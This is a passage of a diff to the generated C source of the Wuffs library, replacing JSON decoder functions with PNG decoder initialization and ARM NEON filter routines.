if (v_n >= 99u) { +- v_n |= 512u; +- break; ++ } ++ ++ self->private_impl.choosy_filter_1 = &wuffs_png__decoder__filter_1__choosy_default; ++ self->private_impl.choosy_filter_3 = &wuffs_png__decoder__filter_3__choosy_default; ++ self->private_impl.choosy_filter_4 = &wuffs_png__decoder__filter_4__choosy_default; ++ self->private_impl.choosy_filter_and_swizzle = &wuffs_png__decoder__filter_and_swizzle__choosy_default; ++ ++ { ++ wuffs_base__status z = wuffs_crc32__ieee_hasher__initialize( ++ &self->private_data.f_crc32, sizeof(self->private_data.f_crc32), WUFFS_VERSION, options); ++ if (z.repr) { ++ return z; + } +- v_n += 1u; +- iop_a_src += 1u; + } +- if (v_n == a_n) { +- v_n |= 256u; ++ { ++ wuffs_base__status z = wuffs_zlib__decoder__initialize( ++ &self->private_data.f_zlib, sizeof(self->private_data.f_zlib), WUFFS_VERSION, options); ++ if (z.repr) { ++ return z; ++ } + } +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ self->private_impl.magic = WUFFS_BASE__MAGIC; ++ self->private_impl.vtable_for__wuffs_base__image_decoder.vtable_name = ++ wuffs_base__image_decoder__vtable_name; ++ self->private_impl.vtable_for__wuffs_base__image_decoder.function_pointers = ++ (const void*)(&wuffs_png__decoder__func_ptrs_for__wuffs_base__image_decoder); ++ return wuffs_base__make_status(NULL); ++} ++ ++wuffs_png__decoder* ++wuffs_png__decoder__alloc(void) { ++ wuffs_png__decoder* x = ++ (wuffs_png__decoder*)(calloc(1, sizeof(wuffs_png__decoder))); ++ if (!x) { ++ return NULL; + } +- return v_n; ++ if (wuffs_png__decoder__initialize( ++ x, sizeof(wuffs_png__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { ++ free(x); ++ return NULL; ++ } ++ return x; ++} ++ ++size_t ++sizeof__wuffs_png__decoder(void) { ++ return sizeof(wuffs_png__decoder); + } + +-// -------- func json.decoder.decode_leading ++// ---------------- Function Implementations + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_json__decoder__decode_leading( +- wuffs_json__decoder* self, +- wuffs_base__token_buffer* a_dst, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); ++// ‼ WUFFS MULTI-FILE SECTION +arm_neon ++// -------- func png.decoder.filter_1_distance_4_arm_neon + +- uint8_t v_c = 0; +- uint32_t v_u = 0; ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_1_distance_4_arm_neon( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr) { ++ wuffs_base__slice_u8 v_curr = {0}; ++ uint8x8_t v_fa = {0}; ++ uint8x8_t v_fx = {0}; + +- wuffs_base__token* iop_a_dst = NULL; +- wuffs_base__token* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- wuffs_base__token* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- wuffs_base__token* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_dst && a_dst->data.ptr) { +- io0_a_dst = a_dst->data.ptr; +- io1_a_dst = io0_a_dst + a_dst->meta.wi; +- iop_a_dst = io1_a_dst; +- io2_a_dst = io0_a_dst + a_dst->data.len; +- if (a_dst->meta.closed) { +- io2_a_dst = iop_a_dst; ++ { ++ wuffs_base__slice_u8 i_slice_curr = a_curr; ++ v_curr.ptr = i_slice_curr.ptr; ++ v_curr.len = 4; ++ const uint8_t* i_end0_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 8) * 8)); ++ while (v_curr.ptr < i_end0_curr) { ++ v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); ++ v_fx = vadd_u8(v_fx, v_fa); ++ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); ++ v_fa = v_fx; ++ v_curr.ptr += 4; ++ v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); ++ v_fx = vadd_u8(v_fx, v_fa); ++ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); ++ v_fa = v_fx; ++ v_curr.ptr += 4; + } ++ v_curr.len = 4; ++ const uint8_t* i_end1_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4)); ++ while (v_curr.ptr < i_end1_curr) { ++ v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); ++ v_fx = vadd_u8(v_fx, v_fa); ++ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); ++ v_fa = v_fx; ++ v_curr.ptr += 4; ++ } ++ v_curr.len = 0; + } +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } ++ return wuffs_base__make_empty_struct(); ++} ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) ++// ‼ WUFFS MULTI-FILE SECTION -arm_neon + +- uint32_t coro_susp_point = self->private_impl.p_decode_leading[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++// ‼ WUFFS MULTI-FILE SECTION +arm_neon ++// -------- func png.decoder.filter_3_distance_4_arm_neon + +- self->private_impl.f_allow_leading_ars = self->private_impl.f_quirks[15u]; +- self->private_impl.f_allow_leading_ubom = self->private_impl.f_quirks[16u]; +- while (self->private_impl.f_allow_leading_ars || self->private_impl.f_allow_leading_ubom) { +- if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_write); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); +- continue; ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_3_distance_4_arm_neon( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr, ++ wuffs_base__slice_u8 a_prev) { ++ wuffs_base__slice_u8 v_curr = {0}; ++ wuffs_base__slice_u8 v_prev = {0}; ++ uint8x8_t v_fa = {0}; ++ uint8x8_t v_fb = {0}; ++ uint8x8_t v_fx = {0}; ++ ++ if (((uint64_t)(a_prev.len)) == 0u) { ++ { ++ wuffs_base__slice_u8 i_slice_curr = a_curr; ++ v_curr.ptr = i_slice_curr.ptr; ++ v_curr.len = 4; ++ const uint8_t* i_end0_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 8) * 8)); ++ while (v_curr.ptr < i_end0_curr) { ++ v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); ++ v_fx = vadd_u8(v_fx, vhadd_u8(v_fa, v_fb)); ++ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); ++ v_fa = v_fx; ++ v_curr.ptr += 4; ++ v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); ++ v_fx = vadd_u8(v_fx, vhadd_u8(v_fa, v_fb)); ++ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); ++ v_fa = v_fx; ++ v_curr.ptr += 4; + } +- if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { +- if (a_src && a_src->meta.closed) { +- break; +- } +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); +- continue; ++ v_curr.len = 4; ++ const uint8_t* i_end1_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4)); ++ while (v_curr.ptr < i_end1_curr) { ++ v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); ++ v_fx = vadd_u8(v_fx, vhadd_u8(v_fa, v_fb)); ++ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); ++ v_fa = v_fx; ++ v_curr.ptr += 4; + } +- v_c = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); +- if ((v_c == 30u) && self->private_impl.f_allow_leading_ars) { +- self->private_impl.f_allow_leading_ars = false; +- iop_a_src += 1u; +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- continue; +- } else if ((v_c == 239u) && self->private_impl.f_allow_leading_ubom) { +- if (((uint64_t)(io2_a_src - iop_a_src)) < 3u) { +- if (a_src && a_src->meta.closed) { +- break; +- } +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(3); +- continue; +- } +- v_u = ((uint32_t)(wuffs_base__peek_u24le__no_bounds_check(iop_a_src))); +- if (v_u == 12565487u) { +- self->private_impl.f_allow_leading_ubom = false; +- iop_a_src += 3u; +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(3u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- continue; +- } ++ v_curr.len = 0; ++ } ++ } else { ++ { ++ wuffs_base__slice_u8 i_slice_curr = a_curr; ++ v_curr.ptr = i_slice_curr.ptr; ++ wuffs_base__slice_u8 i_slice_prev = a_prev; ++ v_prev.ptr = i_slice_prev.ptr; ++ i_slice_curr.len = ((size_t)(wuffs_base__u64__min(i_slice_curr.len, i_slice_prev.len))); ++ v_curr.len = 4; ++ v_prev.len = 4; ++ const uint8_t* i_end0_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 8) * 8)); ++ while (v_curr.ptr < i_end0_curr) { ++ v_fb = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); ++ v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); ++ v_fx = vadd_u8(v_fx, vhadd_u8(v_fa, v_fb)); ++ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); ++ v_fa = v_fx; ++ v_curr.ptr += 4; ++ v_prev.ptr += 4; ++ v_fb = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); ++ v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); ++ v_fx = vadd_u8(v_fx, vhadd_u8(v_fa, v_fb)); ++ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); ++ v_fa = v_fx; ++ v_curr.ptr += 4; ++ v_prev.ptr += 4; + } +- break; ++ v_curr.len = 4; ++ v_prev.len = 4; ++ const uint8_t* i_end1_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4)); ++ while (v_curr.ptr < i_end1_curr) { ++ v_fb = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); ++ v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); ++ v_fx = vadd_u8(v_fx, vhadd_u8(v_fa, v_fb)); ++ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); ++ v_fa = v_fx; ++ v_curr.ptr += 4; ++ v_prev.ptr += 4; ++ } ++ v_curr.len = 0; ++ v_prev.len = 0; + } +- +- ok: +- self->private_impl.p_decode_leading[0] = 0; +- goto exit; +- } +- +- goto suspend; +- suspend: +- self->private_impl.p_decode_leading[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- +- goto exit; +- exit: +- if (a_dst && a_dst->data.ptr) { +- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); +- } +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +- +- return status; ++ return wuffs_base__make_empty_struct(); + } ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) ++// ‼ WUFFS MULTI-FILE SECTION -arm_neon + +-// -------- func json.decoder.decode_comment ++// ‼ WUFFS MULTI-FILE SECTION +arm_neon ++// -------- func png.decoder.filter_4_distance_3_arm_neon + ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_json__decoder__decode_comment( +- wuffs_json__decoder* self, +- wuffs_base__token_buffer* a_dst, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- uint8_t v_c = 0; +- uint16_t v_c2 = 0; +- uint32_t v_length = 0; ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_4_distance_3_arm_neon( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr, ++ wuffs_base__slice_u8 a_prev) { ++ wuffs_base__slice_u8 v_curr = {0}; ++ wuffs_base__slice_u8 v_prev = {0}; ++ uint8x8_t v_fa = {0}; ++ uint8x8_t v_fb = {0}; ++ uint8x8_t v_fc = {0}; ++ uint8x8_t v_fx = {0}; ++ uint16x8_t v_fafb = {0}; ++ uint16x8_t v_fcfc = {0}; ++ uint16x8_t v_pa = {0}; ++ uint16x8_t v_pb = {0}; ++ uint16x8_t v_pc = {0}; ++ uint16x8_t v_cmpab = {0}; ++ uint16x8_t v_cmpac = {0}; ++ uint8x8_t v_picka = {0}; ++ uint8x8_t v_pickb = {0}; + +- wuffs_base__token* iop_a_dst = NULL; +- wuffs_base__token* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- wuffs_base__token* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- wuffs_base__token* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_dst && a_dst->data.ptr) { +- io0_a_dst = a_dst->data.ptr; +- io1_a_dst = io0_a_dst + a_dst->meta.wi; +- iop_a_dst = io1_a_dst; +- io2_a_dst = io0_a_dst + a_dst->data.len; +- if (a_dst->meta.closed) { +- io2_a_dst = iop_a_dst; ++ { ++ wuffs_base__slice_u8 i_slice_curr = a_curr; ++ v_curr.ptr = i_slice_curr.ptr; ++ wuffs_base__slice_u8 i_slice_prev = a_prev; ++ v_prev.ptr = i_slice_prev.ptr; ++ i_slice_curr.len = ((size_t)(wuffs_base__u64__min(i_slice_curr.len, i_slice_prev.len))); ++ v_curr.len = 4; ++ v_prev.len = 4; ++ const uint8_t* i_end0_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, wuffs_private_impl__iterate_total_advance((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)), 7, 6)); ++ while (v_curr.ptr < i_end0_curr) { ++ v_fb = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); ++ v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); ++ v_fafb = vaddl_u8(v_fa, v_fb); ++ v_fcfc = vaddl_u8(v_fc, v_fc); ++ v_pa = vabdl_u8(v_fb, v_fc); ++ v_pb = vabdl_u8(v_fa, v_fc); ++ v_pc = vabdq_u16(v_fafb, v_fcfc); ++ v_cmpab = vcleq_u16(v_pa, v_pb); ++ v_cmpac = vcleq_u16(v_pa, v_pc); ++ v_picka = vmovn_u16(vandq_u16(v_cmpab, v_cmpac)); ++ v_pickb = vmovn_u16(vcleq_u16(v_pb, v_pc)); ++ v_fx = vadd_u8(v_fx, vbsl_u8(v_picka, v_fa, vbsl_u8(v_pickb, v_fb, v_fc))); ++ wuffs_base__poke_u24le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); ++ v_fc = v_fb; ++ v_fa = v_fx; ++ v_curr.ptr += 3; ++ v_prev.ptr += 3; ++ v_fb = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); ++ v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); ++ v_fafb = vaddl_u8(v_fa, v_fb); ++ v_fcfc = vaddl_u8(v_fc, v_fc); ++ v_pa = vabdl_u8(v_fb, v_fc); ++ v_pb = vabdl_u8(v_fa, v_fc); ++ v_pc = vabdq_u16(v_fafb, v_fcfc); ++ v_cmpab = vcleq_u16(v_pa, v_pb); ++ v_cmpac = vcleq_u16(v_pa, v_pc); ++ v_picka = vmovn_u16(vandq_u16(v_cmpab, v_cmpac)); ++ v_pickb = vmovn_u16(vcleq_u16(v_pb, v_pc)); ++ v_fx = vadd_u8(v_fx, vbsl_u8(v_picka, v_fa, vbsl_u8(v_pickb, v_fb, v_fc))); ++ wuffs_base__poke_u24le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); ++ v_fc = v_fb; ++ v_fa = v_fx; ++ v_curr.ptr += 3; ++ v_prev.ptr += 3; + } ++ v_curr.len = 4; ++ v_prev.len = 4; ++ const uint8_t* i_end1_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, wuffs_private_impl__iterate_total_advance((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)), 4, 3)); ++ while (v_curr.ptr < i_end1_curr) { ++ v_fb = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); ++ v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); ++ v_fafb = vaddl_u8(v_fa, v_fb); ++ v_fcfc = vaddl_u8(v_fc, v_fc); ++ v_pa = vabdl_u8(v_fb, v_fc); ++ v_pb = vabdl_u8(v_fa, v_fc); ++ v_pc = vabdq_u16(v_fafb, v_fcfc); ++ v_cmpab = vcleq_u16(v_pa, v_pb); ++ v_cmpac = vcleq_u16(v_pa, v_pc); ++ v_picka = vmovn_u16(vandq_u16(v_cmpab, v_cmpac)); ++ v_pickb = vmovn_u16(vcleq_u16(v_pb, v_pc)); ++ v_fx = vadd_u8(v_fx, vbsl_u8(v_picka, v_fa, vbsl_u8(v_pickb, v_fb, v_fc))); ++ wuffs_base__poke_u24le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); ++ v_fc = v_fb; ++ v_fa = v_fx; ++ v_curr.ptr += 3; ++ v_prev.ptr += 3; ++ } ++ v_curr.len = 3; ++ v_prev.len = 3; ++ const uint8_t* i_end2_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 3) * 3)); ++ while (v_curr.ptr < i_end2_curr) { ++ v_fb = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u24le__no_bounds_check(v_prev.ptr))); ++ v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u24le__no_bounds_check(v_curr.ptr))); ++ v_fafb = vaddl_u8(v_fa, v_fb); ++ v_fcfc = vaddl_u8(v_fc, v_fc); ++ v_pa = vabdl_u8(v_fb, v_fc); ++ v_pb = vabdl_u8(v_fa, v_fc); ++ v_pc = vabdq_u16(v_fafb, v_fcfc); ++ v_cmpab = vcleq_u16(v_pa, v_pb); ++ v_cmpac = vcleq_u16(v_pa, v_pc); ++ v_picka = vmovn_u16(vandq_u16(v_cmpab, v_cmpac)); ++ v_pickb = vmovn_u16(vcleq_u16(v_pb, v_pc)); ++ v_fx = vadd_u8(v_fx, vbsl_u8(v_picka, v_fa, vbsl_u8(v_pickb, v_fb, v_fc))); ++ wuffs_base__poke_u24le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); ++ v_curr.ptr += 3; ++ v_prev.ptr += 3; ++ } ++ v_curr.len = 0; ++ v_prev.len = 0; + } +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } ++ return wuffs_base__make_empty_struct(); ++} ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) ++// ‼ WUFFS MULTI-FILE SECTION -arm_neon + +- uint32_t coro_susp_point = self->private_impl.p_decode_comment[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++// ‼ WUFFS MULTI-FILE SECTION +arm_neon ++// -------- func png.decoder.filter_4_distance_4_arm_neon + +- self->private_impl.f_comment_type = 0u; +- while ((((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) || (((uint64_t)(io2_a_src - iop_a_src)) <= 1u)) { +- if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_write); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); +- continue; +- } +- if (a_src && a_src->meta.closed) { +- status = wuffs_base__make_status(NULL); +- goto ok; +- } +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); +- } +- v_c2 = wuffs_base__peek_u16le__no_bounds_check(iop_a_src); +- if ((v_c2 == 10799u) && self->private_impl.f_quirks[11u]) { +- iop_a_src += 2u; +- v_length = 2u; +- while (true) { +- if (((uint64_t)(io2_a_src - iop_a_src)) <= 1u) { +- if (v_length > 0u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(2u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(v_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- } +- if (a_src && a_src->meta.closed) { +- status = wuffs_base__make_status(wuffs_json__error__bad_input); +- goto exit; +- } +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(3); +- while (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_write); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(4); +- } +- v_length = 0u; +- continue; +- } +- v_c2 = wuffs_base__peek_u16le__no_bounds_check(iop_a_src); +- if (v_c2 == 12074u) { +- iop_a_src += 2u; +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(2u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)((v_length + 2u))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- self->private_impl.f_comment_type = 1u; +- status = wuffs_base__make_status(NULL); +- goto ok; +- } +- iop_a_src += 1u; +- if (v_length >= 65533u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(2u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)((v_length + 1u))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- while (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_write); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(5); +- } +- v_length = 0u; +- continue; +- } +- v_length += 1u; +- } +- } else if ((v_c2 == 12079u) && self->private_impl.f_quirks[12u]) { +- iop_a_src += 2u; +- v_length = 2u; +- while (true) { +- if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { +- if (a_src && a_src->meta.closed) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(4u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(v_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- self->private_impl.f_comment_type = 2u; +- status = wuffs_base__make_status(NULL); +- goto ok; +- } else if (v_length > 0u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(4u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(v_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- } +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(6); +- while (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_write); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(7); +- } +- v_length = 0u; +- continue; +- } +- v_c = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); +- if (v_c == 10u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(4u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(v_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- self->private_impl.f_comment_type = 2u; +- status = wuffs_base__make_status(NULL); +- goto ok; +- } +- iop_a_src += 1u; +- if (v_length >= 65533u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(4u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)((v_length + 1u))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- while (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_write); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(8); +- } +- v_length = 0u; +- continue; +- } +- v_length += 1u; +- } ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_4_distance_4_arm_neon( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr, ++ wuffs_base__slice_u8 a_prev) { ++ wuffs_base__slice_u8 v_curr = {0}; ++ wuffs_base__slice_u8 v_prev = {0}; ++ uint8x8_t v_fa = {0}; ++ uint8x8_t v_fb = {0}; ++ uint8x8_t v_fc = {0}; ++ uint8x8_t v_fx = {0}; ++ uint16x8_t v_fafb = {0}; ++ uint16x8_t v_fcfc = {0}; ++ uint16x8_t v_pa = {0}; ++ uint16x8_t v_pb = {0}; ++ uint16x8_t v_pc = {0}; ++ uint16x8_t v_cmpab = {0}; ++ uint16x8_t v_cmpac = {0}; ++ uint8x8_t v_picka = {0}; ++ uint8x8_t v_pickb = {0}; ++ ++ { ++ wuffs_base__slice_u8 i_slice_curr = a_curr; ++ v_curr.ptr = i_slice_curr.ptr; ++ wuffs_base__slice_u8 i_slice_prev = a_prev; ++ v_prev.ptr = i_slice_prev.ptr; ++ i_slice_curr.len = ((size_t)(wuffs_base__u64__min(i_slice_curr.len, i_slice_prev.len))); ++ v_curr.len = 4; ++ v_prev.len = 4; ++ const uint8_t* i_end0_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - 